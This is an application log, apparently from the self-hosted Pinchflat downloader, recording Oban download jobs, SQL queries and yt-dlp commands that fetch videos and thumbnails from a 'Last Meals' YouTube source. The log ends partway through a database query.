21:08:48.727 [info] {"args":{"id":17},"id":20,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":168574490,"event":"job:stop","queue_time":1124152387,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:08:48.733 [info] {"args":{"id":19},"id":22,"meta":{},"system_time":1774660128733773000,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:08:48.734 [debug] QUERY OK source="media_items" db=0.2ms idle=476.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [19] 21:08:48.734 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:08:48.734 [debug] QUERY OK source="sources" db=0.1ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:08:48.734 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:08:48.735 [debug] QUERY OK source="media_items" db=0.1ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [19] 21:08:48.735 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [19] 21:08:48.735 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:08:48.735 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:48.735 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:48.736 [debug] Running yt-dlp command for action: get_downloadable_status 21:08:48.736 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:48.736 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:48.736 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:48.736 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Sb4rC_hrLHI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ea/eb/eaebb74007d3a340286c2192149bd57fa12b45b294981708cb3b4cf7ce08023a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:08:51.163 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Sb4rC_hrLHI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ea/eb/eaebb74007d3a340286c2192149bd57fa12b45b294981708cb3b4cf7ce08023a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:08:51.163 [debug] Running yt-dlp command for action: download 21:08:51.163 [debug] QUERY OK source="settings" db=0.0ms idle=1105.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:51.163 [debug] QUERY OK source="settings" db=0.0ms idle=1106.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:51.163 [debug] QUERY OK source="settings" db=0.0ms idle=1106.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:51.163 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Sb4rC_hrLHI --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2f/13/2f13ef421180b9cd8849a5fa5ffa8597b3c76d1a64facba5cbbdb9d67d796686.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:08:58.638 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.581 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:09:26.319 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=T0sfBmVMT_Q --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a0/75/a075a6029d6bca597857830b7d8a84a3055f22afeccdde2af60fd88c5f89e8f8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:09:26.328 [debug] Running yt-dlp command for action: download_thumbnail 21:09:26.329 [debug] QUERY OK source="settings" db=0.0ms idle=1006.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:26.329 [debug] QUERY OK source="settings" db=0.0ms idle=271.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:26.329 [debug] QUERY OK source="settings" db=0.0ms idle=271.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:26.329 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=T0sfBmVMT_Q --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/18/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/85/2c/852c31b067aea61c36e4bdc5436335973bfc70648a4ab7c12a977cca85653e93.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:09:28.640 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:28.841 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=T0sfBmVMT_Q --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/18/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/85/2c/852c31b067aea61c36e4bdc5436335973bfc70648a4ab7c12a977cca85653e93.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:09:28.841 [debug] QUERY OK db=0.0ms idle=783.9ms begin [] 21:09:28.841 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:09:26Z], "/downloads/Last Meals/2022-03-08 Maria Bamford Eats Her Last Meal/Maria Bamford Eats Her Last Meal [T0sfBmVMT_Q].mp4", ~U[2026-03-28 01:09:28Z], 18] 21:09:28.842 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/18/metadata.json.gz", "/config/metadata/media_items/18/thumbnail.jpg", 18, ~U[2026-03-28 01:09:28Z], ~U[2026-03-28 01:09:28Z]] 21:09:28.842 [debug] QUERY OK db=0.1ms commit [] 21:09:28.843 [debug] QUERY OK source="media_items" db=0.6ms idle=785.6ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [304481688, ~U[2026-03-28 01:09:28Z], 18] 21:09:28.843 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:09:28.844 [info] {"args":{"id":18},"id":21,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":113592194,"event":"job:stop","queue_time":1217251415,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:09:28.850 [info] {"args":{"id":20},"id":23,"meta":{},"system_time":1774660168849933947,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:09:28.850 [debug] QUERY OK source="media_items" db=0.1ms idle=209.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [20] 21:09:28.850 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:09:28.850 [debug] QUERY OK source="sources" db=0.0ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:09:28.850 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:09:28.850 [debug] QUERY OK source="media_items" db=0.1ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20] 21:09:28.851 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [20] 21:09:28.851 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:09:28.851 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:28.851 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:28.851 [debug] Running yt-dlp command for action: get_downloadable_status 21:09:28.852 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:28.852 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:28.852 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:28.852 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=wGSOMKSRjkc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0c/bd/0cbd07ec0f3e533aa22499612e50ede947dad006413e4bb5d90af87fa3867fa7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:09:31.332 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=wGSOMKSRjkc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0c/bd/0cbd07ec0f3e533aa22499612e50ede947dad006413e4bb5d90af87fa3867fa7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:09:31.332 [debug] Running yt-dlp command for action: download 21:09:31.332 [debug] QUERY OK source="settings" db=0.0ms idle=1275.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:31.333 [debug] QUERY OK source="settings" db=0.1ms idle=1275.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:31.333 [debug] QUERY OK source="settings" db=0.0ms idle=1275.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:31.333 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=wGSOMKSRjkc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1b/b6/1bb648c18fc732676e8e441b64e61f1959938557da5631238ac9f051363d00be.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:09:58.642 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.582 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:10:25.892 [info] GET /sources 21:10:25.892 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 21:10:25.893 [debug] QUERY OK source="settings" db=0.2ms idle=1835.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:25.894 [debug] QUERY OK source="settings" db=0.3ms idle=1836.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:25.895 [debug] QUERY OK source="settings" db=0.3ms idle=1461.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:25.896 [debug] QUERY OK source="settings" db=0.1ms idle=838.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:25.897 [debug] QUERY OK source="settings" db=0.1ms idle=461.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:25.898 [debug] QUERY OK source="sources" db=1.0ms idle=4.1ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:10:25.901 [debug] QUERY OK source="sources" db=2.3ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 